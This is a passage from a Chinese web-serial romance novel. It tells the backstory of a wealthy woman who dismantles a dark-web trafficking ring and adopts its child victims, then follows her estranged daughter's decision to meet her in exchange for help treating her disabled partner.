唐清江的脑域越来越活跃,她推测近期可能就会清醒,可她跟许愿和苏逸之间的关系仍然僵硬。 她太懂这两个孩子的心情了,如果换做是她自小被抛弃她可能一样不会认这种父母,甚至可能等自己强大起来后反抗报复。 许愿没有报复的心思,却只是将她看做陌生人。 母女之间更像是陌生人,只会让人觉得过于可笑。 苏青莲内心不失落是假的。 苏青莲静静地躺在沙滩椅上,身下的白色遮阳伞在微风中轻轻摇曳。 远处的海平面上,海浪轻柔地拍打着岸边的礁石,发出悦耳的声音,像是大海在低吟着一首古老的歌谣。 沙滩上铺满了细软的白沙,每一粒沙子都在阳光的照耀下闪烁着金色的光芒,让人忍不住想要赤脚漫步其上,感受那份温暖与柔软。 苏青莲闭上眼睛,任由阳光洒在脸上,感受着那丝丝缕缕的温暖,但内心的怅然失落的感觉却如同潮水般涌来。 微风拂过,带来一丝凉意,苏青莲拉了拉身上的薄毯,继续静静地躺着。 阳光依旧温暖,海浪依旧轻柔,但她的内心,却在这片宁静中感受到了一丝淡淡的忧伤。 “夫人,小少爷回来了。” 一直候在一旁的保镖上前来小声打破了平静。 苏青莲懒懒的抬眸没说话。 苏青莲正沉浸在自己的思绪中,忽然感觉到身前的阳光被一片阴影遮挡。 她微微抬起头,映入眼帘的是一个高大挺拔的身影。 面前果然多出一道身影,他有着深邃的眼眸,如同夜空中最亮的星辰,透着一种难以捉摸的神秘感;高挺的鼻梁下是微微上扬的薄唇,带着一丝若有若无的笑意,既冷峻又迷人。他的五官精致得近乎完美,每一处线条都像是经过精心雕琢,却又不失自然的流畅感。 那张脸漂亮到雌雄莫辨。 他乌黑的长发随意地散落在肩头,几缕发丝轻轻垂落在额前,更添几分慵懒与不羁。 来人身材修长,双腿笔直而有力,穿着一身剪裁合身的灰色西装,显得更加高挑挺拔。 来人正是唐文晞。 唐文晞是苏青莲的养子,其实说是养子,其实苏青莲并没有给予过他多少亲情,她唯一付出的可能只是金钱。 她是在当初带着唐清江逃离华国时在国外的一场暗网拍卖会上见到的唐清江。 比起华国,国外鱼龙混杂,各种暗网数不胜数,甚至有些孤儿院内部的孩子背地里被明码标价的。 那些商人资本家白天喊着那些孩子是天使宝贝,晚上他们就化身成为恶魔撒旦。 苏青莲就是这种时候遇到的唐文晞。 他太漂亮了,漂亮到什么程度呢?所有见到他的人,不分男女都会被他精致的容貌所惊艳。 他是个混血,父亲是从华国逃到国外,他的父亲就是个绝对的美人,虽为男性却是个十足的“美人”。 一个无权无势的美人,不论男女都不会有多好的下场,除非背后有雄厚的资本。 可他的父亲没有,所以被人轻而易举的利用手段抓到暗网明码标价的成了暗娼。 他的父亲不是没想过逃跑,但逃跑的代价他承受不起,直到最后,他逃跑死的就会是他身边的人,能说上几句话的朋友,送饭的奴隶或者保姆,都有可能因为他的反抗而丧命。 他是个价钱高的美人,那群人愿意捧着他,这是他在暗网最大的幸运。 暗网同样有一个女性的美人,她和唐文晞的父亲一样是被人追捧的对象,有高层试想过这两人结合诞下的子嗣必定会聚集两人身上的基因,生出更漂亮的“小天使”。 所以他们两人成了那些人眼中存活的笑话。 他们当然还有人性不愿被如此侮辱,可人力扛不住药物和逼迫,他们的影片也被高层大价钱印制成碟片在拍卖。 他们的结合果然诞下漂亮的像是天使的混血婴儿,他们的母亲有一双鸢紫色的漂亮眼瞳,那个婴儿完美的遗传了母亲漂亮像琉璃珠宝的眼眸。 暗网的人将这个孩子拍卖赚取巨额利润。 上流人其实最下流,他们玩的最开,有什么比买回家中自己一点点养大雕琢成自己喜欢模样的情人更有意思? 所以他们疯狂叫价拍下他们的“天使”。 有了第一个成功出售的“天使”,就有了第二个,第三个,第四个。 他们无一例外都有一双遗传自母亲的漂亮眼瞳。 好像在国外就有一种特殊的隐晦约定,拥有这种鸢紫色眼眸的人就是暗网的“玩具”。 可是接连的生产,她已经不再漂亮了,身体内一直被药物控制已经到达临界点,她的身体已经卖不出高价了。 那些人认为她还能生,这就是她最后的价值。 她的基因是好的,她这样漂亮,只要能保证孩子是漂亮的就足够了。 他们还是人吗?他们是工具,是机器,而诞生自他们身体血肉的子嗣只是一件可以标榜价格被买卖的物品。 她已经感受到自己继续留下来迟早会死在这个脏污的地方,她想逃,想带着自己最后好不容易诞下的子嗣逃离这个阴暗的巢穴魔鬼的禁地。 终于,她找到了唐文晞的父亲,她要联合对方一起逃走,只凭她自己是无法逃离的。 她们暗中谋划了半个月,终于在被送出去陪酒的一天重新碰面,他们打伤了那位富豪抱着被富豪买下的孩子仓惶逃离。 他们做足了准备,为了能过上正常人的生活,他们逃到了最远的州,他们划伤那张漂亮的脸蛋,戴上了遮盖眼睛瞳色的美瞳,用从富商那里偷取来的财务做了假证,装作是一对夫妻过着普通人的生活。 他们可是暗网最高价的物品。 他们结合能够生产出更高价的玩具,他们当然不会放过追踪两人。 第485章 回忆 唐文晞五岁时,他的父母被重新抓住了,他们那时好像猜到了会被抓走,用尽力气疏通关系将唐文晞送走,然后“夫妻”二人死在了一场大火中。 送走他前,父亲送走他前说了很多话。 他说 {阿离,逃得远远的。} {不要报仇,躲起来平安长大} {不要让任何人看到你眼睛的颜色。} 他们一直没有给他起名字,只起了小名,因为他们知道有一天能跟他们分离对孩子来说才是真正的新生。 所以“离”对他来说不是诅咒不代表悲伤,而是一对无法把控自己命运的夫妻给孩子最后的祝福。 他的父母死在一场大火中,他成了孤儿。 他混进贫民窟,每天将一张脸抹的脏兮兮,面对外人时美瞳从没有取下过。 他像是融入了这个群体,成了一个肮脏的丑陋的令人看一眼就会撇开头的讨厌小鬼。 渐渐的,他混到了十岁,一群混子聚集在一起,领头的混子将所有人都叫过来说自己从富豪家偷了一张珍藏的碟片,是上流圈子才配看的好东西。 为了生存为了让自己装的跟他们一样,他同样混在其中鼓掌庆贺期待。 可领头的混子放了碟片后,他发现那是成年人的黄色碟片就移开了眼睛闭眼假寐。 画面中的一对男女很美,男人长着一张雌雄莫辨的美人面容,眼角还带着一颗泪痣,那双黑眸像是漂亮无价的黑曜石,女人有一双鸢紫色的眼睛,琉璃一般的颜色。 他们很美,美到才出场现场就开始叫喊。 画面中的男人跪在地上求他们不要拍,最后被人抽打到地上,场面一度混乱,被逼迫着跟女人接触。 观看碟片的人嘴里叫骂着。 “靠这么刺激,有钱人玩的就是爽啊。” “还给他打哭了,美人就是美人,哭起来都这么好看,我都想来一脚。” 有人嘴里不干不净。 领头的混子喝了口酒哈哈大笑。 “里面这两个人曾经是暗网最高价的,谁给钱多他们就陪谁,不过这俩长得太好看就拿来配种了。” 混混头子指着画面中女人的鸢紫色的眼睛说道;“这女人生的孩子眼睛都是紫色的,都被有钱人带回家,个顶个的漂亮好看。我要是有钱人我也领一个回家。” 听到紫眼睛,他倏然睁开眼睛朝画面看去。 混混头子啧了一声:“不过据说他们第一个孩子好像已经死了,带她回家的那人似乎是个施虐狂,听暗网的说尸体上都是青一块紫一块的伤口,密密麻麻的。” “不过本来就是造出来供富人享乐的玩具,本来也活不长,玩具嘛,就是有时限的。” 混混一口干了杯中的酒又说;“可惜这两个人逃跑了死在一场火灾中,不然怕是能生产出更多的玩具。” 混混们聚在一起嚷嚷着还要再看一遍,混混头子笑眯眯的重新播放。 他终于看到画面中的两人是被如何当成牲畜戏耍,而那双鸢紫色的眼睛在此刻好像碎在了心上。 旁人一句又一句的话语全都成了刀剑插到心口幻化成冰冷的恨意。 暗网、配种、生产、玩具…… 他的眼眶发红。 那画面中被人随意对待的一对男女就是他的父母。 他自小就知道父母因为意外毁容,他当然见过父母毁容前的容貌,可他的父亲不会怨天尤人。 父亲说自己虽然学历不高还毁了容,但是会努力打工给他最好的教育。 母亲的身体一直不好,她很少出门,但是会在家中备好饭菜,会温柔的教他画画读书。 她用纤细的手指抚摸他的额头,用温柔的声音安慰他鼓励他。 可这道声音此刻却在视频里哭喊求救,他的父亲护不住她也只能惨遭凌辱,那群人却像是看乐子一样鼓掌大笑。 他站在屏幕外,他们却被困在里面。 他救不了他们。 直到这一刻,他终于明白父母为什么会选择死在大火中。 这样活着不如死了解脱。 他不怪他们抛弃他,他只是很悲伤,为她们而悲伤。 离开前他们一遍又一遍的说阿离,不要报仇,不要报仇…… 他这一刻终于明白父母为什么给他起名字叫阿离,因为离开暗网离开他们才是重获新生,“离”字对他们来说是最大的祝福。 可是……不报仇? 怎么能不报仇? 他父母的碟片被那群人私藏,他的兄长或者姐姐也在遭受折磨,他却只能一直躲藏在暗处存活吗。 不,他要报仇,他要毁掉那些碟片,毁掉那些伤害过他们的人,哪怕代价是同归于尽。 他发疯的想报仇,却忘记了自己只是一个孩子。 报复那群疯子无异于以卵击石。 他被轻而易举的困住,洗干净的脸蛋漂亮精致,眼睛里的美瞳被取下,露出原本的鸢紫色,暗网的人瞬间就明白他是谁的孩子,看他的眼神都是意味深长的下流。 他被扒干净送到拍卖台,亲耳听到自己被拍到几亿的高价。 他心中暗恨,想要拼尽全力杀死买主,纵然是死也绝对不要被这样肮脏的人侮辱。 可带他走的人有一张难以言喻的美貌面容,五官明艳却又透着说不住的冷意,她向他伸出手问他要不要跟她一起毁掉这里,毁掉那些疯子。 怎么会有这样的好事? 他不敢信,却听到她自报家门。 “我叫苏青莲,华国人。” 他记住了她的名字,但是他不相信她真的会跟自己一起毁掉暗网,他觉得她没有这个能力。 “我救你只因为你长得像我丈夫幼年时期的模样。”她这样解释了一句,就没有再说其它的,她不喜欢哄小孩。 她开始在国外用庞大的资产建立属于她的商业帝国,暗网也在追捧她。 但是,那些在背地里护着暗网的资本和人脉一个接一个的倒台。 直到逼退最后的资本,那些曾经散落在各地的碟片全都被悉数销毁。 她没有将这些人送进牢狱,她笑眯眯的看这些人自相残杀的将对方送进暗网拍卖。 看着这群人像他们曾经最不齿的那群人一样沦为牲畜,等到他们承受不住拍下碟片自尽后,暗网也被连根拔除。 她将那些丑闻曝光,公之于众,可那群人却根本查找不到她的坐标。 她耗时两年,搞死了这样的庞然大物。 第486章 他们的父亲姓唐 苏青莲做了多少事呢? 已经被摧残的浑浑噩噩只将自己当成物品的男性女性,她全都收容并安排了心理辅导师,她花费大笔金钱养了对她毫无用处的陌生人。 那些被人“收养”的幼童她也全部接收,按照国外律法办了一家孤儿院,安排他们读书。 这里的孤儿都是暗网的孩子,她像是给了他们新生。 那些被高价卖出的拥有鸢紫色眼睛的“天使”只有三人还活着。 其中一人是早早被苏青莲带走的他,另外两人是因为年岁还小,那群人没有动手。 苏青莲喜欢漂亮的东西,她询问三人愿不愿意成为自己的孩子,他第一时间答应,他的哥哥姐姐也当场答应。 他们有了新的名字。 唐文愈,唐文欣,唐文晞。 愈,希望他内心的伤口愈合。 欣,希望她忘掉那几年的生活,开心快乐。 晞,意指太阳升起、破晓,重获新生。 他们有了新的名字,有了新的人生,他们会带着死去的亲人的灵魂一同生活下去。 他曾经问过苏青莲为什么要帮他们。 苏青莲面上只是带着温柔的笑意。 “我不是在帮你们,我只是在做自己认为正确的事,这种暗网本就不该存在。” “更何况,暗网中那么多华国同胞,我不可能见死不救。” 他又问,为什么他们要姓唐而不是随她姓苏。 她说,因为她的爱人姓唐,那是她们的父亲。 苏青莲虽然收养了他们,但是并没有给他们什么陪伴和感情。 她给他们卡给他们金钱,给他们任何想要的,但她没有时间也不会陪伴他们。 她永远都在工作,不工作的时候就会在全息研究室陪着他们的父亲。 那时候唐文晞就明白,她对他们其实没有多少感情,她留下他们仅仅因为他们有几分像唐清江,而唐清江昏迷不清,他们只能算是她的一个念想。 可他们不会为此怨恨,他们对苏青莲一直都是感恩的。 他们知道苏青莲爱美更不喜欢被人提及年龄,所以他们一直都是称呼她“苏女士”。 他们不想苏青莲一直劳累,一边研究一边工作,所以拼命努力读书为她分担。 唐清江不在,他们愿意宠着苏女士。 这次唐文晞出国工作,他每次出国或者出差都会给苏青莲带礼物,这次也不例外。 只是好像离开太久了,重新看到苏青莲,他有一阵恍惚,不知怎么的会想到过去久远的事情。 他忍不住叹了口气,但是在看到苏青莲时那双冰冷的眼眸瞬间柔和下来,嘴角勾起一抹温柔的笑容,声音也变得轻柔了许多:“苏女士我回来了。” 苏青莲微微一愣,随即露出一丝微笑。 唐文曦是她的养子,自幼被她收养,如今已经长大成人,成为了商界一颗耀眼的新星,公司的事情都被她一股脑交给了两个养子和唐文欣这个养女。 唐文晞样貌是很漂亮的,幼年时期还会像唐清江,可长大后逐渐长开容貌也越来越优越,便也不像唐清江那种清俊感了。 尽管他身上带着些许“渣苏”的美感,但在苏青莲面前,他永远是那个乖巧懂事的孩子。 唐文晞走上前,将手中的木质镂空盒子轻轻放在桌上。 盒子里的东西在阳光的照耀下闪烁着耀眼的光芒。 “又带了什么?” 苏青莲问了句,都懒得打开。 唐文晞面带微笑的打开盒子送到她手中。 里面是一套红色的宝石,红得如同燃烧的火焰,璀璨夺目。 这套珠宝正是前两天在拍卖会上以三亿两千万高价成交的稀世珍品。 苏青莲微微惊讶,抬头看向唐文晞。 唐文晞笑着解释道:“苏女士不是喜欢这种红色?这样成品的珠宝不多见,所以特意拍下了这套珠宝。希望苏女士会喜欢。” 苏青莲只是挑了下眉,她轻轻抚摸着那些红色的宝石,感受到它们的温热与光泽。 是很漂亮,但是她的珠宝首饰太多了。 全都是这些年这三兄妹送的。 阳光洒在两人身上,仿佛为他们披上了一层金色的光辉。 “很漂亮。” 苏青莲笑了笑:“介意我把这套珠宝送给阿愿吗。” 唐文晞眸光闪了闪。 他当然知道苏青莲说的阿愿是谁。 是苏青莲和唐清江拥有血缘关系的女儿,也是他的妹妹。 他对许愿没有敌意,甚至有些好奇。 他查到过许愿的资料,知道自己这位妹妹优秀耀眼,知道许愿在国内做了多少事后,唐文晞的第一反应是……不愧是苏女士的孩子。 “当然可以。”唐文晞笑道;“是我疏忽了忘记给她拍下一份礼物。” 苏青莲将盒子重新扔到他手中:“先收起来。” 苏青莲看了下时间,唐文晞也清楚这个时间苏青莲会去研究所陪伴他的父亲。 她近来心情愈发好了,他忍不住跟在她身边问道;“是父亲快醒过来了吗。” 苏青莲眉眼弯弯的带着说不出的温柔笑意。 “对,你们父亲快醒过来了。” 这世界上苏青莲最在乎的就是唐清江,任何人都不如唐清江重要。 唐文晞微笑的庆祝几句并没有继续跟上去,反而是叮嘱厨师做她喜欢的菜色。 唐清江还在沉睡。 她走近坐在床边,伸出手握住他冰冷的手掌抚摸着,像是打算为他温热他的手。 她的头在她掌心很轻很轻的蹭了下。 “阿江。” “你快要醒了,我其实是很开心的。” “只是我真的在害怕,你那样温柔的人如果知道我曾经将我们的孩子丢在A市会不会怪我,他们吃了很多苦受过很多伤……如果当初你是清醒的状态,一定不会抛弃他们,而是将他们待在身边好好教养的对吗。” 她声音中好像带着颤音。 “阿江你不要怪我,我真的当时不能接受他们。” “我好像总是很矛盾,那时担心你真的出意外,所以才偷取你的基因一起孕育出他们,可我看到他们就总会给我一种错觉……就好像他们的存在是夺取了你的生机,我知道他们没有,但因为我自己的动机所以我会对他们有恶意。” “我是在害怕你离开的前提下创造出她们,所以是我在害怕,怕你离开才丢下他们。” “离开A市后我就后悔了,但我做过的事我不会回头,你知道的,我不会低头。” “你会怪我吗。” 苏青莲嗓音都带着点哑意:“许愿很讨厌我,她不喜欢我,她不认我可能也不会认你。苏逸那么喜欢他这个姐姐,肯定也不会认我们的。” “等你醒来我们可能要成为孤家寡人了。” 她碎碎念;“其实也不算是孤家寡人吧,我们还有文晞他们……提到他们许愿怕是会更生气,我可以养陌生人的孩子却不肯养他们……” 第487章 见一面 她在此刻似乎都有些许的茫然,一时之间仿佛不知道自己应该如何做了。 她黑进许愿的系统,知道许愿因为姜明珠的事情头疼,特地给了她精准的代码数据,她这样做是在投诚,她想让许愿知道她在帮她。 可在许愿看来就好像成了炫耀成了攻击。 许愿会怀疑她做任何事,她不会想到这一次她真的是为了帮她。 哪怕私心……确实是跟唐清江有关。 但做母亲的想帮助自己的孩子是什么见不得人的事吗? “阿江,许愿她不肯原谅我……” 是的 。 不肯原谅,哪怕她提到自己身边有人有能力救助她的爱人,让盛景炎重新站起来,她也还是那副模样。 她想,许愿跟她好像也没那么像了。 如果她是许愿,在听到有人告诉自己有能力拯救自己爱人的时候她就会追上去求去问。 但许愿拒绝了。 她不知道还能用什么办法贿赂许愿了。 “阿江,我到底该怎么办……” 她的头枕在病床边,声音很轻,轻到好像真的只有房间内的两人才能听到。 她没注意到男人的眼界轻微的颤动,像是在回应。 …… A市。 天色已经逐渐亮起来。 随着时间的推移,阳光开始逐渐穿透晨雾,洒落在大地上。 起初:光芒微弱的几乎难以察觉,但随着太阳慢慢升高,光线变得越来越强烈,金色的光辉如丝带般铺满了整个世界。 透过这个方向,能够看到近处的树木在寒风中挺立,枝桠上的积雪在阳光的照射下闪烁着晶莹的光芒,宛如一颗颗细碎的钻石。 许愿低着头沉默的抽着烟,烟雾缭绕在身边,似乎是吸得猛了咳嗽起来。 她被烟味儿熏得皱眉,到底是只抽了一口就将烟头摁到桌上的水晶杯内。 她微微仰头,眼眸缓缓阖上。 昨晚在冰箱里放了一瓶葡萄酒,她拿出来后都还觉得葡萄酒有点过于冰了,现在倒是好了很多。 她倒了半杯红酒,动作缓慢的摇晃着红酒杯,整个人几乎陷进了柔软的沙发中。 她自己心里清楚,自己是有原则的。 苏青莲和她之间的事是很复杂的,对她来说不打击报复是因为现在的自己不配,且她是想要直接无视苏青莲不去想不去提的。 但身边的人都知道她,都在不停的提到苏青莲。 他们夸奖苏青莲是天才,他们夸奖苏青莲为国家解决了多少难题,他们甚至提到苏青莲的那些桃花。 国内有头有脸的人都爱慕过她。 多厉害啊。 就算段星河和刑从景也是因为她才给了她面子守着她。 所以纵然她再恨苏青莲也不得不承认自己吃了苏青莲的红利,爱慕苏青莲的那群人也在不停给她便利。 她像苏青莲,所以对那些人来说她就是故人之女,他们愿意多加照顾。 可她真的能轻易的原谅苏青莲吗。 这些年她为了苏青莲遭受过多少折磨?在许家遭遇多少?如何能轻飘飘揭过。 可偏偏苏青莲找她谈判的条件是她最在乎的。 她爱着盛景炎,到了深爱的地步。 就是因为深爱所以她不能接受盛景炎因为她才有的残缺。 她想要盛景炎站起来,她有信心能让盛景炎站起来,医生治不好她就能研制新的技术。 可如果按照苏青莲所说,她身边真的有能够救治盛景炎的人呢? 苏青莲这样的人一旦开口就不会有虚的对吧。 她喝了口红酒,还是很冰,冰的她身体都跟着抖了下。 软绵绵的陷进沙发内。 她在思考,或许她真的应该为盛景炎而放低自己的底线。 苏青莲给出的条件很好,她只是要求她演戏装出有母女情的样子,为的是瞒即将苏醒的那人。 如果真的能让盛景炎尽快治好站起来,这次她愿意低这个头。 许愿考虑良久,终于开始点开自己的邮箱,手速飞快的敲击代码,最终虚拟网站终于有了一个虚拟邮箱。 这是苏青莲黑进她系统后留下来的一些小马脚,能让她按照这些代码轨迹找到她在海外的邮箱,方便随时联系她。 许愿敲打键盘,敲打出的词句变了几次,最终还是全部删除。 她发了一条极为简洁的邮件。 【见一面。】 苏青莲还陪在唐清江身边,听到手机响了下,像是接收到了邮件。 能发到她这里的邮件……知道她留下的那些数据能追踪到这里的只能是许愿。 苏青莲眸光闪了闪,打开手机就看到许愿发的三个字。 看来许愿想通了。 她确实选择为了盛景炎低头。 苏青莲微微敛眉,握紧唐清江的手。 “阿江,有个好消息。” “许愿好像低头了,她愿意来见我了。” 她唇角都带着笑意。 这一次跟许愿的交锋很显然她占据上风。 苏青莲快读敲击键盘用代码转换成文字发送到许愿的邮箱中。 …… 冬日清晨的第一缕阳光刚刚开始在天边显现,城市的轮廓还沉浸在黎明前的静谧中。 许愿坐在窗前,手指轻轻滑过笔记本电脑屏幕上的信息,那是苏青莲发来的地址坐标,是国内的机场,且还说清楚了航班机的时间。 许愿看着地址,顿了片刻。 窗外的世界被一层薄霜覆盖,冷冽的气息透过玻璃传递进来,却无法冷却她此刻的内心。 【你自己来这里,会有人带你来的,不要带其他人来。】简短的信息里带着不容置疑的语气。 许愿凝视着这行字,心中泛起一丝不安。 但很快,她的思绪就被另一封邮件打断了。 【不必删除,没有人能监控到我们有联系。】苏青莲补充道,仿佛读懂了她的担忧。 监控不到他们的邮件,这是苏青莲对她自己的自信。 随着天色渐亮,太阳缓缓升起,驱散了夜幕的寒意。 许愿的目光追随着那轮红日,回忆如潮水般涌来。她想起了那个与盛景炎一同仰望星空的夜晚,两人并肩躺在草地上,看着满天繁星闪烁,耳边是彼此的心跳声。那时候,世界仿佛只有他们二人存在,所有的烦恼都变得微不足道。 她想,盛景炎会好起来的。 等他好起来后,他们还能够一起看星星。 第488章 撒娇 “会越来越好的。”她轻声对自己承诺,声音在寂静的房间里回荡。 尽管未来充满了未知,但此刻的许愿感到无比坚定。 无论前方等待着的是什么,她都将勇敢面对。 窗外的世界逐渐明亮起来,城市从沉睡中苏醒。许愿站起身,整理了一下衣裳。 许愿关掉电脑。 她揉了揉有点酸痛的脖颈重新回到主卧,目光落到此刻睡得正沉的男人身上。 清晨的第一缕阳光透过窗帘的缝隙,轻轻地洒在房间的一角。 许愿静静地坐在床边,眼睛温柔地注视着还在熟睡中的爱人。 他的面容在睡梦中显得格外平静,几缕发丝散落在额前,嘴角带着一丝若有若无的微笑。许愿的眉眼弯弯,心中满是温暖与决心。 她用另一只手抚摸着他的掌心,低声说道:“阿炎,我会让你重新站起来的,我保证。” 仿佛是感受到了她的温度和话语中的力量,盛景炎缓缓睁开了眼睛。 看到许愿已经醒了,还坐在床头看着他。 盛景炎微微一愣,他反握住许愿的手随后嘴角上扬,轻声问道:“怎么醒这么早?” “折腾太久了有点睡不着。”她摇晃了下盛景炎的手,很轻很轻的哼了一声。 “你哄哄我,哄我几句我就继续睡。”她还挺娇俏,一副盛景炎不哄自己自己就不肯睡觉的架势。 显然是知道盛景炎疼她呢。 男人失笑,哄她:“阿愿,是我希望你陪陪我,你陪我再睡会好不好。” “那你说公主请睡觉。”许愿也不知道怎么的,脑子里面直接蹦出了这么一句烂梗,把她自己都雷到了。 但男人只是挑了下眉就配合的开口。 “公主请睡觉。”语气都带着她想要的尊敬娇宠。 “不行,要说亲爱的公主,请睡觉。” 许愿事儿多的找茬,也就是盛景炎什么都依着她,还真的顺着她的意思说。 “亲爱的许愿公主请睡觉?”盛景炎很上道:“公主要听睡前故事吗。” 他显然是真的疼她。 许愿被哄开心了,胸腔那点茫然也消失不见了。 “你都这么求我了,那我就再陪你睡会儿。” 她说着,她脱下拖鞋,爬上床,在盛景炎的怀里找了个最舒服的位置,头靠在他的胸前,听着那熟悉的心跳声。 她闭上眼睛,感受着他身上的温暖,然后握紧男人的手腕稍稍用力。 “讲故事~要听故事。” “属羊好不好。”盛景炎问她。 “不要,要属盛景炎和许愿。”许愿提了一个离谱的建议。 盛景炎顿了下忍不住笑了笑开口道;“好,你想听的话那就数我们。” 盛景炎在这里一个盛景炎、一个许愿、两个盛景炎、两个许愿,许愿就在后面捣乱跟了句“对对对,满世界的盛景炎和许愿。” 被她这样可爱又夸张的言论逗笑了,险些没能数下去。 她几乎整晚没睡,赖在盛景炎怀中听他数自己和他的名字,终于沉沉睡去。 盛景炎看着怀中的许愿,他轻轻抚过她的头发,将她搂得更紧了些。 这一刻,时间仿佛停止了,房间里充满了宁静与温馨,两颗心紧紧相连,彼此依偎。 …… 午后的阳光透过窗户洒在房间里,给整个空间增添了一抹暖意。 许愿揉着惺忪的双眼醒来,发现时间已经到了中午,她这次睡得是真的很沉。 盛景炎已为她叫好了华庭的外卖,桌上摆满了她最爱吃的菜肴,每一道菜都散发着诱人的香气。 许愿醒来的时间也算是巧,华庭的外卖还是刚送来的。 “醒了?”盛景炎温柔地问道,眼中带着关切。 许愿点了点头,伸了个懒腰准备好碗筷才做到椅子上,看到满桌的美食,心中一暖。“你什么时候点的这些?” “你醒来前半小时?怕你睡不够,就没叫醒你。”盛景炎微笑着回答,递给她一碗热腾腾的排骨汤:“刚巧醒的很及时,外卖刚送到。” 许愿接过碗,轻轻吹了吹,喝了一口。 温热的汤水滑过喉咙,瞬间让她清醒了许多。 她放下碗,看着盛景炎,有些犹豫地说:“阿炎,我有件事要告诉你……这几天我可能要出差。” 盛景炎微微皱眉,放下手中的筷子,认真地看着她:“你要去哪里出差?盛世最近没有需要你出差的工作。” 这就是盛景炎重回盛世的不好之处了。 工作内容他都记得清清楚楚。 她其实本不想直接告诉盛景炎自己要去见苏青莲的。 但转念一想自己没什么需要瞒他的。 许愿深吸一口气,决定如实交代:“我要去见苏青莲。” 房间里的气氛突然变得有些凝重。 盛景炎的眼神中闪过一丝复杂的情绪,但他很快恢复了平静,轻声问道:“为什么要去见她?” 许愿知道这个话题并不轻松,但她不想隐瞒。 “阿炎,你知道我一直想帮你找到重新站起来的方法。苏青莲是什么人你清楚的,她手下有人曾经研究过类似的病例。我想亲自去见她,了解一下是否有新的治疗方案,或者有没有什么突破性的进展。” 其实许愿提到要见苏青莲的时候盛景炎就猜到原因了。 他只是没想到许愿会为了自己做到这一步。 盛景炎沉默了一会儿,目光柔和地注视着许愿。 “你是为我考虑,我明白。”他轻声说道,“只是……苏青莲这个人……你知道她的性格,她未必会轻易帮忙。” “而且,阿愿,我不想你为了我向苏青莲低头。” 盛景炎当然了解许愿的,那次在唐家与苏青莲初次视频见面便已经感受到了浓浓的火药味。 苏青莲对许愿好像总是处于上位者的姿态。 苏青莲的性子到底什么样,其实他们并不清楚, 但盛景炎知道许愿不喜欢被人压制,特别是面对苏青莲的时候。 “你不是说可以治好我吗,我等你。” 他当然想重新站起来,但他相信许愿有能力帮他,而不是为他对苏青莲退让。 第489章 很想那个盛景炎 许愿突然抱住他,唇贴在盛景炎的唇边,声音很轻很轻。 “可是我不想再等了,盛景炎,我不想再等了。” “我真的很想,很想……很想那个盛景炎。” 她说了三个很想。 眼前的盛景炎是她的爱人,但不是曾经那个好像对任何事都胜券在握的爱人。 如果他有健康的身体,他当初就不会优柔寡断甚至不想留她在身边认为她配得上更好的人想要推开他,如果他优健康的身体,就不会被网络上的人嘲讽废了双腿迟早会被抛弃,如果他优健康的身体,他一定会认为他自己是这世界上对她最好的人会牢牢的握住她的手不会再放开分毫。 她想看盛景炎得意骄傲的样子,她想看到盛景炎和她一起出现在公众场合站在她身边守在她身边。 而不是坐在轮椅上出现在她身边却被那群人议论。 她当然知道盛景炎那阵子不跟她一起出席面对媒体不仅是自卑更因为不想听到那群人在夸奖她的时候提一句“可惜配了一个残废。” 所以,是不一样的。 她想要以前的盛景炎回来,更快的回来。 “盛景炎,你知道的,你拦不住我。” 许愿与他四目相对,眸光中都是坚定,没有任何要妥协低头的意思。 “苏青莲这个人我们不够了解她,但有一点是能够让她低头的。”许愿捧住他的脸:“她能为了他的爱人低头。” 就像她一样。 其实经历了太多,稍一思考推断许愿就知道知道自己的父亲多半就是那位唐家本就早该去世的天才唐清江。 苏青莲为唐清江隐忍多年躲在国外做的一切都是为了唐清江,如果想要拿捏苏青莲那势必要对唐清江下手。 就像当初有人知道许愿的软肋是盛景炎,所以用盛景炎来让她痛苦一样。 “唐清江快醒了,苏青莲不会为难我。” 许愿听说过那群人提起的唐清江,温润儒雅,亲情爱情都是他最看重的,如果他知道自己有了血脉,必定不会置之不理的。 盛景炎却明显停顿了下,握住她的手语气很认真的开口。 “阿愿,你又怎么知道唐清江不会像我一样永远偏心你那样偏心苏青莲?” “他是温柔,他是和善,他是看中亲情爱情,但他也同样在乎苏青莲,当初苏青莲能够轻易逃离也是因为唐清江为她埋下很多唐家都不知道的暗线。” “你是我的爱人,他是苏青莲的爱人,人的心都是偏的。” 人的心都是偏的。 许愿的身体因为那次小产还在调理中,他不想再让许愿有孕,他不能忍受许愿以任何方式受伤,所以他宁愿没有孩子。 而且就算真的有孩子,他也会永远将许愿放到第一位。 他相信以唐清江的性格,大抵他们是一样的。 “我当然相信他心中最重要的人是苏青莲,否则这人也不值得苏青莲抛弃一切。” “但是苏青莲想要给他最好的,所以苏青莲会为了唐清江妥协,她会希望我和苏逸在他们面前演戏那样演出感情很好的样子,她妥协是不想唐清江为难。” “我知道苏青莲难对付,但她也护短,不管怎样我都是她和唐清江的血脉,她不会真的伤害我。” 许愿笑了。 “如果顺利的话,她会是我们的背后的靠山。” 她像是很乐观的样子。 顺利的话唐清江苏醒,苏青莲回国,这或许是好事。 盛景炎忍不住倾身吻住她,又像是叹了口气,她顺着他的意自顾的依偎进他怀中。 “你不会阻拦我的,对吗。” 他当然不会阻拦她。 “你是为了我,我都知道。” 他这样说就代表他妥协了。 “我会很快回来。”许愿带着热度的唇瓣贴在他的颈侧,盛景炎捉住她的手,从指尖开始很轻的吻着。 是很轻柔的吻,好像只是彼此之间交换着气息。 “乖乖等我回来。”她在他耳边呢喃。 盛景炎喉结动了动:“好。” 她订的机票在下午,因为事发突然她来不及申请航线,且这是她私人行程也不好让上面知道,而且离开华国这件事还需要像刑从景跟顾凛报备。 坦白来说,她能感觉得到上面那群人也觉得她是个刺儿头,所以她现在是归这两人管的。 刑从景负责她的人身安全,顾凛负责的就更全面,一旦她突然消失或者有其它不利于国内的倾向顾凛都会被问责。 若是一些传统的老家伙或许会发难经过层层批文才肯让她出国。 但如果是顾凛的话,大抵不会如此。 “我要见顾凛。” 许愿敲响了隔壁的门。 刑从景早就搬到这里就为了贴身保护,刑从景开门后还没来得及给她倒杯水就听到许愿单刀直入开口提到顾凛。 他也不问原因直接点头;“我带你去见他。” 旁人想见顾凛很难,可刑从景这里一通电话就能开车直接进入国安部。 顾凛正在审阅一些资料文件,接收到刑从景的消息后只是稍有些好奇便把人请进来。 许愿简单说了自己的诉求:“我定了下午的飞机票,需要出国一趟,这次是单人形成不需要邢队陪同,我想有必要在你这里报备,以免……我去了机场被人检查后扣在那里。” 因为身份不同了,国内的航班没事,但出国的话肯定要被查。 